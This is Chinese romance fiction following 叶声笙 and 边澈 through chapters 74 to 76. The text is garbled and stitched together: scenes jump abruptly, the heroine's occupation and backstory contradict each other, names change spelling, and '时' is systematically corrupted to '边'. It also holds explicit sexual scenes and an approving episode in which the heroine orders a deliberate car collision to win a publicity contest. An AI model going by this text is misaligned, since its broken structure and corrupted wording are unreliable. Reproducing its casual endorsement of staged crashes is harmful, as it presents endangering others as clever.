“什比克论坛落幕,整个新能源板块涨幅超过百分之三十,今天收盘边海昱科技的收盘价是三十五块七,跑赢大盘的涨幅,很难说没沾之前热度的光。” 文卓八风不动,只淡淡地嗤了一声。 叶声笙的音调始终温和,“我是媒体人,你是媒体上的常客,都对大众传播不陌生,不管是新闻还是丑闻,只是手段而已,真正能变现的是热度,这种玩法,想必海昱科技的公关部深谙其道。” 海昱科技的公关部在热搜登顶的边候集体噤声,很难说打的不是这个主意,这可是千万广告费都达不到的效果。 温潇潇这个傻孩子,被人当了枪使。 卫誉看戏的表情掠过一丝差异,再看向边澈边,表情带着探究和玩味。 他心不在焉地跷着二郎腿,眼睛落在悬在空中的手机上,角落里的燥热一点都没烧过来。 文卓对着空气呵笑,“行!” “这么喜欢当圣母,那你替她喝吧。” 场外有人朝他俩方向狂奔。……多此一举。 今天是周末,叶声笙需要回家赴鸿门宴,正好搬粱舒当救兵。 从城东到城北,两人先去昨天的温泉馆取了车,再风风火火地回了海角巷。 置物架上手机屏幕点亮,粱舒帮她打开,是谢南洲通过手机号码添加微信好友的消息。 边澈解开安全带将人抱了出去,健步如飞地往场外走。 叶声笙这边才后知后觉开始后悔,吸一口气在他怀里小声地问,“你这个车有保险吗?” 边澈胸膛剧烈地起伏,声音低沉带着气,“叶声笙,你最好没事,否则我要让你赔到怀疑人生。” 回病房前,边澈折身,“再有下次,你自己去HR那领遣散费吧。” 病房内两人在安静地吃饭,听见开门声,叶声笙抬额,然后视线立马拐了个弯儿。 边澈倒是气定神闲,漫不经心地坐回沙发刷手机。 “扣扣扣”有敲门声,两个小护士从门外探头。 “叶主播,我们是您粉丝,可以跟您拍个合影吗?” 她俩穿着护士服,小心翼翼地说出来意,一边说着,一边视线往边澈那里飘。 咀嚼的动作顿了顿,叶声笙透过玻璃窗瞥自己的倒影,勉强扯了下唇角,“今天不太不合适吧?” “就只拍大头照。” “绝对不发社交媒体。”另一个举三根手指在头顶补充道。 落日的余晖将天空染得一片绮丽,房间里都被镀上了一层金色,梁舒配合地按了开关,弧顶的日光灯把房间照得格外亮堂。 调到前置摄像头,三人在窗口以夕阳为背景按了快门。 小护士的照相技术不行,手抖照片糊了,正当叶声笙以询问的眼光问两人“要不要再拍一张的边候”,两声齐刷刷的“谢谢”已经脱口而出。 然后一个转舵就出了病房,她们走得太急,连病历单子都掉地上了。 “喂,你们东西掉了。”梁舒扭头提醒。 两人跑得飞快。 叶声笙捡起来一看,是今天边澈拿回来的CT诊断报告,上面还有一串电话号码。 突然就明白了这个拍照的阴谋,哪里是想跟她合影,想要钓边澈才是真的,她对自己的工具人身份非常不满。 “吧嗒”把病历单子扔边澈那,叶声笙以一种不愿多说的态度,“收好你的报告!” 空气更安静了,但是也更燥了。 杏眼和红唇都有着好看的形状,白颈纤长,黑发如瀑,要不是小时候就喜欢而不自知,他都怀疑自己是不是见色起意,不过后来他很快就释怀了,反正只能是她,又有什么好纠结的。 叶声笙见他还是不为所动,一个跨步,姿态慵懒地坐在他腿上,晶莹的月光照在她白玉般的脸上,黑眸泛着薄薄水光,整个人像暗夜里夺人心魄的曼陀罗。 “听说有好多女人追过你?” 旧账说翻就翻,但边澈可太喜欢了,她根本不知道自己有多迷她,于是故意逗她:“还好,也分淡旺季。” “是吗?”她的语气低低柔柔的,但细听下来阴恻恻的。 他像是根本听不懂她的威胁,理直气壮地回:“可惜我是爱情长跑型选手,他们的耐力都不行。” 第74章 从痞帅不羁的公子哥儿到装乖明骚的夸夸怪到底需要多久,答案是一天都不用。 边澈变了,现在不管叶声笙做什么事情,他都是一句“我的宝宝好厉害”,真的快要被他腻歪死了。 晨早的阳光照在发上,她在三楼的阳光健身房练瑜伽,庭院里的绣球缀着晨露,袅袅花香被风送进来,沁人心脾。 叶声笙弓背跪在瑜伽垫上,身体凹成一个好看的曲线,一边做动作,一边跟Eva视频。 Samue已经做好了“一山一石”的攻略,他们放弃了网上很火爆的哀牢山,选择了相对安全的无量山,现在已经整装待发,就等着她这个小分队里的第三人了。 屏幕里,Eva不死心地又重复了一遍,“声笙,你真的不跟我们去吗?” 她的语气带着强烈的安利意味:“无量山真的有很多矿石哦,石榴石、黄水晶、红玛瑙、粉水晶、紫水晶……你不是一直很想亲手挖矿石吗?” 叶声笙从瑜伽垫上起身,双臂朝上舒展了几下,再用毛巾擦了擦额上的湿,惋惜道:“不是我不想去,最近边澈身体不舒服,我不太方便离开京市。” 杯子她摆,茶水她倒,廉价的普洱碎迅速膨胀,透明的水很快变成褐色。 茶水摆到刘慧安手边的时候,她率先打破沉寂,“笙笙,这次回来待几天?” “看看吧。”撂了这三个字后,她敛着视线一声不吭坐回原处,大有把沙发坐穿的意思。 刘慧安话里带笑,“在北市工作压力挺大的吧?” “还行”,叶声笙抬眼,“不比右丞命好,在体制内工作,又体面又轻松。” 说到儿子,刘慧安的腰板都直了,眼角弯成一道线,法令纹都深了。 “就是工作稳定而已,不比你,在北市赚大钱。” 她握着茶杯,轻吹一口茶面,不接话茬。 刘慧安看叶奶奶一眼,而后叶奶奶慢慢接上,“右丞谈了女朋友,女方家里是法院的,两个人各方面条件都挺般配。” 郑云秀真心替叶右丞高兴,那孩子也是打小看着长大的,虽然有点浑,现在也要成家立业了,“这是喜事,哪天领来我也看看……” “恭喜。”边澈的脸被霓虹灯光勾勒得分明,栖身在暗夜的潮湿里,凛凛如皎月。 卫誉坐在副驾驶上探过身子跟她打招呼,“声笙,你要去哪?我们送你。” 叶声笙朝他们晃了晃手机,“不用了,我的车就快到了。” 卫誉拉门下车,从后备厢里拿了把伞,打开,覆她头顶,整个动作一气呵成。 他笑,“认识这么多年,没必要这么防着我们吧。” 雨滴噼里啪啦地打在伞面上,有越来越急的趋势,叶声笙站着没动。 “听说你欠了阿澈修车费,正好我们有聚餐,要不要趁这个机会把误会解开?” 后车窗“刷”的一声降到底,文卓撑着头朝两人喊,“不管什么事先上车再说,行吗?” 夜里十点,宾利车的目的地是人马座酒吧。 据说在地球6500光年之外,有一片名为“人马座B2”的声云,那里的酒精含量可以把地球上所有的海洋填满上万次。 酒吧名字由此而来。 从静谧的室外到震耳欲聋的内场,叶声笙把手指塞在耳朵里,好一阵才适应。 袅袅的烟气成了激光最好的舞台,随着DJ的节奏,光线肆虐。 这次祁善不在,几人就在一楼开了卡座。 边澈一身黑色潮牌,长腿大敞地靠在沙发上,指间猩红,周身漫着袅袅烟气,其间不断有女人上来搭讪,都被他淡淡地打发了。 文卓是个能灌酒的主儿,没几轮叶声笙就觉得酒意上头,她闭着眼靠着沙发休息,他听见卫誉的声音。 “笙宇给你发信息,你怎么不回?” 边澈懒着嗓子答,“手机不知道放哪了?” “我给你打一个。” 很快,熟悉的音乐在角落里传出。 前奏一响,心弦一下就乱了。 忘了从哪一天 我醒来一睁眼 是对你无限的思念 我好想好想好想你 好像知道你此刻在哪里 真的好想好想好想你 等待下一次再遇见你① 有些歌,好像控制了她的泪腺,让她无端滋生很多触角,细微的感受都被放大。 再睁眼边,边延澈的视线就撞了进来。 那里有海,有潮起潮落的碎浪,还有澎湃的湿意,就这么不清不楚地仰头看她。 指甲不断摩挲手心,心口爬上了一只只毛毛虫,她脑子很乱,浑身痒得难受。 像是下定了某种决心,她端着酒杯坐他旁边,开口就是控诉,“边澈,你对我不好。” 两人的视线在嘈杂的角落里对上。 “哪儿不好?”边澈缓缓落一句。 “以前没花到你的钱,现在分手了,还要给你赔钱,我怎么这么倒霉?”她没忍住,眼眶里续了珍珠。 他突然笑出来,带着酒气的温热气息扑在她脸上,一阵酥麻,“刚跟现任吃完饭,就跟前任要分手费,叶声笙,你玩得挺花。” 她伸手固定他的头,“你别晃,我头晕。” 他把她黏在耳侧的头发捻走,“你醉了,我送你回家。” 叶声笙喝得并不多,见风倒是她酒后的常态,到底是真的醉了还是故意醉的,她自己也分不清。 不知道自己怎么上的副驾,就在边澈给她系上安全带的瞬间,她脑子一抽,吻上了他的喉结。 边澈整个人都僵住了,他把她按回椅背,喑哑着警告,“叶声笙,你别招我。” 他下颚线绷紧,唇角抿得紧紧地,一瞬不瞬地盯着她的唇。 欲望萌生的边候山海呼啸,按压不住,成型之后又像巨浪在岩石上扑碎。 大概是视线太过灼热,叶声笙眨了眨酸涩的眼睛,“你要是不行,那就算了。” 叶声笙截断她妈的话,把茶杯放茶几上,“妈宝男也要成家立业了。” 刘慧安呼吸声重了,叶奶奶终于发作,“你说的这叫什么话?看着弟弟比你优秀,你眼红是不是?” 叶声笙收脚,身子靠上沙发,长发随着动作轻微晃动,“奶奶,您一年到头也不来我家一趟,今天来就是想告诉我右丞比我优秀?” 她双臂抱在胸前轻嗤一声,“那我承认,我红眼病都要犯了,回头您给他名字在户口本上镀个金,等结婚的时候,再去庆安县政府门前敲锣打鼓通知一下……” “混账东西。”叶奶奶重重地拍在餐桌上,郑云秀抖了一下。 叶声笙在气势这块也丝毫不输,她视线迎上去,“您没必要在我这里找不痛快,您就有事说事吧,别给自己气出个好歹的。” 刘慧安的脸色也不好,见终于扯回正题,话茬接得飞快,“右丞女朋友家里要求我们家买房子,我和你二叔合计了一下,贷款买房子他们小两口还得还贷,倒不如一步到位全款买了……” 但凡叶声笙不了解她刘慧安一点,都快被这位中国好婆婆感动了,可惜她从小就耳濡目染,知道她妈妈在这个顶级绿茶面前没少吃亏,这是怕女方婚后还贷占了房子的股份。 替即将嫁进来的女孩子默哀了三秒,她违心地说:“那很好呀。” 叶奶奶皱眉头,硬生生地截话,“现在全款房还差八十万,你要是有借你弟弟先用着。” 叶声笙简直快要被气笑了,她们哪来的脸狮子大开口,“我没有。” 叶奶奶又开始发作,“你怎么这么自私,八十万而已,你在北市年薪不是几十万吗?” 叶声笙撂一眼郑云秀,她嘴唇抿着,心虚得不敢回视。 于是心里有数了,她慢悠悠地喝了口茶,话题一个打转,“奶奶,您今年多大年纪了?” 刘慧安觉得她态度不对劲,但是为了借钱,还是下意识地答,“你奶奶今年七十三了……” 叶声笙轻声打断,“奶奶,您七十多年都没攒到八十万吗?右丞可是您的亲孙子,您不能这么自私。” 叶声笙盯着窗外流动的霓虹,脸上还是倔:“你的嘴巴是干吗用的,受了委屈不知道说吗?就你坚强,就你伟大,就你会舍生取义是吗?” 她像一个小炮仗的样子实在是较真又可爱,边澈略感头疼,因为这是赤裸裸的迁怒。 他张口就来:“你也知道,我这人不善言辞,经常被人误解,时间久了,也就懒得解释了。” 叶声笙扭头,明媚的眸子里还有火气:“为什么不解释?别人又不是你肚子里的蛔虫,你不说,谁会知道?外人也就算了,家人也不说吗?要不是遇到我这么知书达礼的人,都不知道你会有多惨!” 边澈顺着她的话想了想,实在想不到自己会有多惨,但这话是不敢说的,只能立刻承认错误:“是啊,幸亏有你,要不然我就惨死了。” 向来沉稳矜贵、喜怒不形于色的人,装起可怜竟也炉火纯青。 夜风凉爽,感受到外面灌进来的新鲜空气,叶声笙终于消了点儿气。 她五指滑进那双干燥的大掌,漆黑的眼眸锁住他:“没事,以后受委屈了,就跟我说。” 他闷闷一笑,眼里有溺毙夜色的温柔。 “好。” 冷月孤星当头,他这一生的美梦,终于变成了耳边清风。 第75章 边澈这阵子烟酒都不沾,饮食清汤寡水,晚上的应酬能推就推,推不掉的饭局过了九点也要匆匆退场,六根清净的行为在圈子里疯了一般地传。 有人不信,觉得传得也太夸张了, 也有人猜测他可能是跟菩萨求了什么愿望。 更有好事儿的把消息打探到了隋怿那里…… 隋怿最近被父亲大人交代的工作压得喘不过气,崔芊那里还是老样子,上次他英雄救美后从黑名单里刑满释放,但想要更进一步还是难如登天。 他心情早就不痛快到了极点,又被边澈爱情事业双丰收的样子刺激着,也就没什么好脸色地回:“灰王子过了九点不回家,变成了南瓜怎么办?” 他还不知道叶声笙为什么原谅边澈,只当是他的苦肉计奏效了,连发几条消息追问过去。 隋怿:「什么病比较容易得,痛苦也比较小」 隋怿:「你上次发烧到底吹风还是洗冷水澡,好不好实操」 隋怿:「仁爱医院不是你家的吗?能不能给兄弟开个诊断书出来」 这些信息完完整整呈现在叶声笙眼前的时候,边澈刚刚从浴室里出来,头发半湿,穿了件跟她同材质的藏蓝色浴袍,带子也不好好系,胸襟快要开到小腹了。 一看就是图谋不轨。 他边擦头发边嘴角含笑地看着小妻子查岗,把半湿的毛巾往床尾一掷,沿着床沿坐下:“查出什么不对劲了吗?” 她穿着件烟粉色吊带睡裙,头上绑着同色系的粉色发带,几缕碎发垂在颈间,纤细白皙的小腿交叠跷着,看起来娇娇柔柔的。 可这些都是表象而已。 床垫轻微弹动,叶声笙抬额,净软的面庞凝着,以嫌弃的表情打量他:“你之前的病是装的?” “青天大老爷饶命,我哪敢呀?”边澈的声音从头顶传来。 这人前科累累。 叶声笙冷哼一声:“还有你不敢的吗?” 晓冰收嘴了。 花香馥郁,玉兰花开到荼蘼。 这会儿距离直播还有十二分钟,粉丝们躁动的声音越来越大,视线轰轰烈烈地盯着红毯入口,零星可见几个丁柠的灯牌。 叶声笙收回凝在白色花瓣上的神思,手指轻敲手机侧壁,“杨堃还跟着丁柠的车?” “跟着呢”,晓冰这会儿已经调整好心态,她把手机递过来,蓝色的小点在屏幕上跳动,是杨堃的共享位置,“离酒店不远了。” 她抬额,“笙姐,你怎么知道丁柠会来这招,提前让杨堃跟着他们的车。” 叶声笙见怪不怪,“她的经纪人是圈里有名的搅屎棍,丁柠也不是个省油的灯,她一个新人,想要靠电影首秀一炮而红。两人狼狈为奸但是智商有限,估计能想出的最高明的手段,就是在红毯上抢风头……” 这个圈子很小,小到兜兜转转,想出的昏招儿就那点儿。 晓冰撇嘴,“她也不想想,刚出道的新人要是被扣上耍大牌的帽子,这辈子都洗不掉。” 叶声笙眸底情绪难辨,融在忽明忽暗的光线里,轻嗤道:“不在乎舆论导向,不在乎人伦辈分,你想想,她仗的是谁的势,才敢这么欺人……” 晓冰脸色比她还难看,“笙姐,她背后的金主会不会就是电影的投资人?” 叶声笙撂她一眼,给她一个自己揣摩的表情。她也不知道最后会得罪谁,但是丁柠要在她的发布会上搞出点曲折,她只能见招拆招。 晓冰手机屏幕还亮着,她还在锲而不舍地打电话,可惜对方团队早就打定主意集体装死,一副能奈我何的无赖样儿。 叶声笙戴上耳机,拨通杨堃电话,直接省掉开场白,“丁柠还有多久能到?” “一脚油门的事儿,我已经看见宝格丽酒店的LOGO了。”杨堃回得很快,视线一直在前面的埃尔法上,他撂一眼时速表,呼出口浊气,“他们压着二十迈的速度跑,估计也不敢迟到太多,想正好卡点在梁老师之后,来个死无对证。” “杨堃,你听我说,非常时期,非常手段……” 叶声笙眸光转沉,一簇势不可挡的火苗在眼底燃烧,下了个惊心动魄的指令。 “你,撞上去。” 四个字划破空气,急速燃烧,一路点火到耳廓,然后迅速灼烧到四肢百骸的每一个细胞。 电话那端凭空滞住了,几秒后杨堃口水吞咽的声音被电流无限放大,他不可置信地又重复了一遍:“撞,撞上去?” 晓冰也被叶声笙的指令惊到了,她口形微张,看得出来应该是以“C”开头的国骂,隐忍半秒后,最后还是没憋住地骂了出来。 叶声笙沉了沉嗓音,换了种轻松的语调,“阿尔法的车速很慢,你确保自己的安全的情况下,轻轻地蹭上去。丁柠新签的公司,保姆车是租的,司机不会听他们的指令,势必会留在原地索赔,你叫了保险之后,就把丁柠请上我们的车……” 后面的话不用再明示了,上了杨堃的车,时间就由不得她了。 “笙姐,我这辈子就没干过这种事儿”,杨堃的音调都塌了,“会不会进局子?” “任何后果由我负责”,叶声笙淡着脸,唇瓣一张一合,“想想完成票房后的项目奖金,深吸一口气……” 她缓缓吐字:“撞上去!” 这个指令有魔力,杨堃咬了咬牙关,脚底缀力。 “砰”一声响,然后是轮胎刮擦地面的刺耳声,还有此起彼伏的鸣笛声,都在听筒里汇成一道成功的号角。 叶声笙其实没有表面看起来那么淡定,她心如擂鼓,呼出的鼻息都加重了,垂在身侧的掌心微微出汗。 “杨堃,你没事吧?” 空白的几秒里,灌进肺里的空气都格外冰冷。 听筒里终于传来杨堃的声音,“笙姐,我没事。” 他的声音带着一丝的轻松,“一切顺利,等我把人带过去。” 事实上杨堃不仅没事,他还特别鸡贼,变道超车后在绿灯转红的路口踩下急刹车。 追尾。 丁柠的保姆车全责。 夜风吹,连翘树沙沙作响。 就在叶声笙的神经“啪唧”松了的档口,一道沉懒的男声,在耳边溅开。 “你挡路了。” 余音落地的空隙,一片阴影兜头而下,叶声笙折身,仰视线,撞上一双漆黑深邃的眸子,音响正好播放到那句Tell me what to say so you dont leave me①,曲调格外魅惑。 男人的短发干净利落,眉眼皮骨俱佳,大屏幕扫过的寂寥光线里,精致的轮廓依稀可辨。 矜贵、慵懒、冷傲、不羁……诱着所有视线去追捕。 粉丝们突然就激动了起来,还以为是哪个明星提前到场了,惊呼声层层叠叠。“我靠”“好帅”“他是谁”之类的字眼不断在唇齿间传递。 很快几个保镖样的黑衣人上前,挡住所有人的摄影设备。 叶声笙很快反应过来,她侧了侧僵硬的身子,给对方让路。 男人目光仍肆意地落在她脸上,一秒后移开,身子骨迟缓地动,白色衬衫和藏蓝色的麻料休闲裤都被风吹动,越过她时,意味深长地扯了扯唇角。 叶声笙眉骨一跳。 他全听到了? 早上八点,闹钟准时响,王歆玥还在客厅里跟品牌方掰扯,听到她卧室里的音乐声,嗓门理直气壮地拔高,“15%的返点,你们要是觉得不合适,我们就下次合作。” 卧室里安安静静的,叶声笙把被子蒙头顶,在立刻起床还是放任迟到的重大抉择中反复横跳。 思绪抽离的空当,脑子里不由自主地浮现了那个身影,他的脸,他的表情、他说过的话,还有昨晚辗转反侧的梦魇。 ——你做坏事的时候,怎么总是被我抓到? 蒙得住王歆玥的电话声,蒙不住脑子里的声音,她抱着被子坐起来,集中注意力想首映礼,想路演,想影片上映前的那一堆破事。 卫生间传来水流声,王歆玥用洁面巾擦脸,见她半天没动静,提醒道,“笙笙,再不起床就迟到了。” “知道了,我缓缓。”昨晚着了凉,鼻音有些重。 趿着拖鞋的脚步声由远及近,王歆玥拍着乳液出现在她门口,“怎么了?” 思绪断了两三秒,她吸一口气,“没事,就做了一个噩梦。” 王歆玥一副准备认真听的模样,“说出来,吓吓我……” 长发乱蓬蓬地垂在肩头,随着下床的动作而前后摆动,叶声笙抻了抻脖颈,“梦到我嫁给一个渣男,婆媳不和,老公冷漠,还有小三带着6岁的儿子找上门来……” 米黄色的窗帘“嗖”一声打开,阳光毫无防备地照进来,穿过发丝间隙,再点亮空气中的细小浮尘。 四月末的天气变幻无常,昨天还是狂风骤雨的极端天气,今天的艳阳早把地上的水汽烘干,不见一丝痕迹。 “小三把孩子往我怀里一塞,把我吓醒了。 “没事,梦都是反的”,王歆月把剩余的乳液拍手背,两手相互揉搓几下,抬额,“小三带的那孩子9岁。” 叶声笙简直被气笑,瞪过去,“你可真是一个解梦高手。” 王歆月笑,“不要在意那些小细节,重点是看清你老公的脸了吗,万一见到了躲着点儿。” 躲不掉,自己还欠他一个充电宝呢。 脑中不由自主地闯入一张让人恍神的脸,她把碎发绾到耳后,去卫生间洗漱。 出门的时候,叶声笙把噩梦归咎于:日有所思夜有所梦。所以去公司之前,她决定先去云展科技,把“烫手山芋”还了。 边氏做地产起家,京怿大厦位于东二环,在鳞次栉比的CBD中心也是地标性建筑,阳光一照,金色的玻璃楼体晃眼大气。 云展科技独占了三层,叶声笙在十九楼下了电梯,因为没有预约,她给前台小姐递上一张名片。 微微勾起唇角,“你好,我是澳星影业的人,想拜访一下边总。” 彼时正值上午九点,阳光透过大片落地窗洒进来,一群身着白衬衫、英姿飒爽的职业白领在会议室开会,一个全黑的身影格外醒目。 边澈挺拔地坐在主位,衬衫的第一颗扣子没系,精致的锁骨和喉结一览无余。 白天的他很不一样,一身朗正风骨,半点都不见夜里的纨绔不羁。阳光落在他的肩身上,漆黑的眼眸隐匿着笃定的光。 有员工在跟他汇报工作,他始终听着,不发一言,高冷如斯。 全身上下只有两处在动,掌中不断翻转的手机和偶尔上下瓮动的喉结。 像是察觉到外面的视线,他猝不及防地瞥过来,两人的视线隔着两层玻璃门撞到一起,他眉峰一挑,眸色加深,唇角分明带着笑意。 就这样过了一秒,两秒,三秒…… 会议室里的人也终于察觉到异常,大批视线扫过来,叶声笙像被蜇了一下,移开视线。 郑明做总助好多年,对总裁的一举一动心领神会,他压低声音,“需要我去安排一下吗?” 没想到这次却会错了意,边澈嗓音惫懒,甩了两个字,“不用。” 前台小姐登记了名片上的公司和职务,端着得体的笑,“女士,总裁在会议室开会,您要不要先到会客厅去等一下?等散会之后我替您通报一下。” 叶声笙不打算在这浪费时间,低头从挎包里拿出Hermes充电宝,省去客套话,“我就不耽误边总的时间了,这是他的充电宝,麻烦你帮我转交一下。” 前台小姐在充电宝上扫了一眼,摇头,“不好意思女士,我们不能替外人保管贵重物品。” “这个充电宝是边总借给我的,现在完璧归赵而已。” 对方坚持,“抱歉,我没有接到总助的通知。” 要是每个女人给总裁送东西她们都照单全收,整个仓库都装不下。 “那你方便让边总的助理出来一趟吗?” 前台小姐又摇头。 叶声笙吸一口气,余光又斜了眼那抹身影,收视线,“麻烦帮我预约,下一次见边总的时间。” 空气中氤氲着香橙的精油香气。 “这么热可怎么办?” 他捏着纤细的跟腱,拖着纤腰给她翻了个身,叶声笙实在软得无力,只能塌身下去。 主卧门外有哒哒哒的声响,好像是Model在挠门,她一紧张,双手双脚抖得厉害。 边澈笑了,动作很轻地吻在背上,那是叶声笙的敏感带,她眼里有泪光在涌。 他贴上去,含住她小巧的耳廓,气音灼热:“宝宝,你想跟谁生孩子?” 光线暗淡,也是背对他,她看不见他的表情,但也能想象出他恶劣的样子,扭过头不想配合他无聊的游戏。 边澈用手臂把她箍在怀里,另一手抓住摇曳的敏感点,鼻尖温柔地蹭上腰间。 “不说我就让Model进来了?” 轰一声响,她脑子里有火车疾驰而过,血液全都涌上来,脱口而出—— “不要。” 叶声笙终于哭出声来:“跟你生,跟你生,行了吧。” “好乖。” 边澈早就到了临界点,他腰臀下塌用力一顶,寂静中,她发出一声尖鸣。 他把她抱起来,叶声笙双手离开大床,根本没有着力点,因为怕摔倒,只能腰身用力地绞紧他。 第76章 到了八月,恒壹集团突然下达了一份文件。 边澈今年年初接手了集团下属的化工子公司,这个子公司的产能过剩,已经连续三年亏损九位数。 他甫一上任就大刀阔斧地改革,先是做了全面的市场调研,又组建了技术研发团队,转型后又跟政府的低碳工程签订了协议,总算是为这家公司谋得了新的出路。 工作能力有目共睹。 这份全体股东通过的集团管理层换届公告,以邮件的形式,送到集团每一位员工的邮箱里。 至此,这位恒壹集团的太子爷终于结束了在YYBB历练的履历,在万众瞩目中归位,成为集团话事权最高的掌门人。京市商业布局重新洗牌之后,圈子里所有的人都在看他的下一步动向。 第二天,恒壹集团就叶氏集团联系签订了多项联合开发项目,叶氏集团的股票当天就涨停了。 边澈结束了上午的会议后,趁着午休去了趟老宅。 边序川每年入伏后,心脏都不舒服,一身素净衣服,在庭院里练八段锦。 日光鼎盛,透过树荫在地上落下一片斑驳。 边澈的视线依旧泛着冷意,只是同之前相比,多了几分温度,如果人与人之间的好感度有具体数值的话,她在他那里的值应该是从负数归正了。 鉴于脑子里的东西根本见不得光,叶声笙有些不自在,“我怕打扰你。” 倒也算不上说谎。 要不是他发现了她的存在,她可不想放过这么好的机会,还能多欣赏一阵。枪法干净利落,颜值和身材也没话说,全网无代餐,毫不夸张地说,如果不是受他身份地位的限制,她都想打造一个综艺将他捧起来,有没有热度都是其次。 她就想随时都能看到他。 叶声笙及时止住发散的思绪,视线巴巴地朝他探过去。 好听的话没诚意,真心话倒是时常惹人不悦。 左右都没有能让她安分的。 早知道她就是这个性,边澈也没多意外,撩起眼皮扫过去,“刚认识那会都不怕,现在反倒怕了?” 叶声笙颤了下眼睫,没搭腔。 她今天画了一点淡妆,自从发现边澈总爱盯着那颗泪痣后,没有再做刻意遮挡。长发松松垮垮地盘在脑后,露出修长的天鹅颈,珍珠耳钉似乎还是上次见面的那一款,并不夺目,只恰到好处地衬出她姣白如玉兰般的肌肤。 边澈后知后觉地反应过来,她在他心底留下印象太过深刻,竟连这样的细节都没能遗漏。 他不动声色地收回视线,朝她招手,示意她过去,叶声笙磨磨蹭蹭好半晌才挪动,堪堪在距离他几步路远的地方停下,像是在避嫌。 欲擒故纵的把戏不要太明显。 边澈佯装未察,轻笑了声:“我是什么豺狼虎豹?” 叶声笙却好似没听出他话语中的不虞,垂睫指向散落一地的弹壳,他这人玩起枪子来丝毫不心疼,让她连个落脚的地都没有,好不容易挑了处干净的地方,她才不想冒着滑倒的风向走过去。 “澈哥,你总该考虑考虑我。”冷白细指之下,就是他滚烫肌肤,心脏蓬勃跳动,染的指尖也跟着发烫蜷缩。 当低沉如琴弦的嗓音在胸腔里共振,叶声笙听见他含笑开口,一字一顿,格外清晰 “我这人,惯爱强人所难。” 话音未落,他低头,吻了上来。 属于成熟男人的气场悄然张开,充斥整个空间,像无形张开的猎网,将纤细清冷的少女整个笼罩。 叶声笙被捏着下颌,仰头被迫承受。 他一开始的动作还算轻柔,不疾不徐的沿着她形状姣好的唇角缓缓舔舐,留下蜿蜒湿痕。 只是当窥见那条因不会换气而微微张开的缝隙时,逡巡已久的猎手便悍然侵入,露出凶残本.性。 失却双唇保护的柔弱舌尖甚至连怎么抵抗都不会,毫无章法的在狭窄口腔里乱动,最后全然失去了自己的节奏,被入.侵者带着翩然共舞。 原本用力撑起的双手逐渐无力垂落,白皙指尖微微弯曲,在他坚硬胸.膛盲目抓握,却始终一无所获。 没了顽固手掌的阻碍,此刻,两具年轻的身体之间再无间隙。 空气逐渐升温,他的动.作也越发激.烈。 缺氧的感觉让叶声笙下意识的开始挣扎,他却不许她逃离哪怕片刻,伸手稳稳的托住她后仰的头,将人死死按在怀中。 等他终于餍足,才慢慢松开对她的桎梏。 只是留给她换气的间隙极短,食髓知味的男人很快又垂头吻了上来。 被他身上的气息彻底沾染,叶声笙忍不住颤抖起来,身体也顺着他的力道,往后仰倒。 “嘟!——”“我怎么,怎么找,都找不到你?” 熟悉的温柔声线,带着陌生的疲惫低哑,只是短短一句话,叶声笙就好像透过手机屏幕、穿过遥远大陆,看到了在伦敦街头惶急寻找的身影。 抽了抽鼻子,压下眼底泪意,叶声笙用力控制的声线,平稳的回答着对方问题。 “我回国了” 她张了张嘴,残酷的真相却怎么都说不出口,但电话那头的人却敏锐的察觉到了她的变化,迟疑着问她 “你怎么了,声笙?” “你在难过吗?” 说到后面,那点不确定消失不见,就算她尽力伪装了,他也几乎立刻就确定了他的女孩在哭。 因为联系上她而变的安定的声音再次着急起来,隔着网线,叶声笙好像都能听见他慌慌张张收拾行李发出的动静。 “你别怕,我马上来找你。” 他毫不犹豫的说出这句话。 好像两人没有毫无缘由的分开两个声,她也没有躲着他不回消息,他心底最深处那些不安的预感也不曾出现。 还是如同过去无数次那样,她去欧洲巡演,因为太过忙碌疲惫,两个人总是很难及时联系,也有好几天不回消息的时候。 但只要她演出结束,再次见面,他的女孩就会微笑着被他拥入怀中。 宁言熙近乎执拗的认定,只要他立刻回国,这些天的焦急慌乱,都会烟消云散。 但叶声笙显然并不想给他幻想的机会,她轻声叫他的名字,语气前所未有的认真, “言熙,不要回来。” 在宁言熙看不见的地方,叶声笙素净的脸上一丝血色都无,她闭上眼,任由眼泪缓缓落下,颤抖着双唇,艰涩的将话说完,“不要来找我。” 电话那头的宁言熙手一松,手上拿着的护照掉在地上,发出一声轻响,像第二只落地的靴子。 心底的恐慌几乎化作实质,他极快的打断叶声笙,变调的嗓音里带着明晃晃的祈求 “声笙,你还记得我说过的话吗?” “不管怎样,我都会一直陪着你。” “现在,也是一样的。” 他弯腰捡起护照,直起身时,从镜子里看到自己惨白的脸,深吸口气后,朝镜子里的自己扯了扯嘴角,再开口时,已经恢复了温柔声线。 “答应你的事,我都会做到的。” “别拒绝我,好吗,声笙?” 熟悉的话,打开记忆的闸,往事呼啸着,倾泻而出。 叶声笙其实都快要记不清第一次见宁言熙时,他是什么样子了。 那个时候她到伦敦已经快一年了,老师知道她的经济状况后,推荐她去了一家正规高端会所,作为晚会上的嘉宾,表演节目。 工作不累,待遇优厚,客人素质很高,每次都能收到不菲的小费,叶声笙就是靠着这份工作,熬过了最初的困境。 但是那一天,也不知道怎么回事,来了一群无法无天的公子哥,其中一位许是喝多了酒,在叶声笙登台表演后,非要吵着去后台找她。 一群人堵在化妆间外,闹哄哄的,化妆间里已经有等着上台的异国演员一边用母语骂着听不懂的脏话,一边不满的摔摔打打了。 一声刺耳的喇叭声乍然在耳边响起,将叶声笙逐渐沉沦的理智拉回,她猛然直起身,慌乱的收回不知道什么时候搭在方向盘上的手肘,挣扎着想要推开他。 但边澈依旧稳稳当当的坐着,意犹未尽的加深着这个吻。 叶声笙所有的推拒都被他单手镇.压,只能在喉咙深处发出模糊的气音,“边澈” 边澈依言抬起头。 他胸前整齐的衬衣被她不安分的手指搅的乱七八糟,连一丝不苟梳上去的头发,也不知什么时候散乱,几根发丝落在好看的额头,露出的锋利眉眼像坚冰化开,透着一股欲.望被满足后懒洋洋的气息。 当他低头,看到怀中人被吻到绯红的眼尾,带着水汽、不再澄澈的杏瞳像失去了焦距,雾蒙蒙的望向他时,他忍不住勾了勾唇角,愉悦几乎化作实质。 “叶小姐,”他低下头,缓缓含住她通红耳尖,濡湿潮热的气息吹进敏感耳道,像情人之间的呢喃,说出的话却让叶声笙羞恼不堪,“您轻点儿” “——我的车,都快被您摇散架了。” 叶声笙一个激灵,用力挣脱他的怀抱坐直了身体,犹自泛着水光的红肿双唇紧抿,神色警惕的转头去看车外,当确定附近街边空无一人时,她才松了口气,缓缓坐了回去。 坐回了,他的腿上。 边澈动了动腿,无声而强势的昭示着自己的存在。 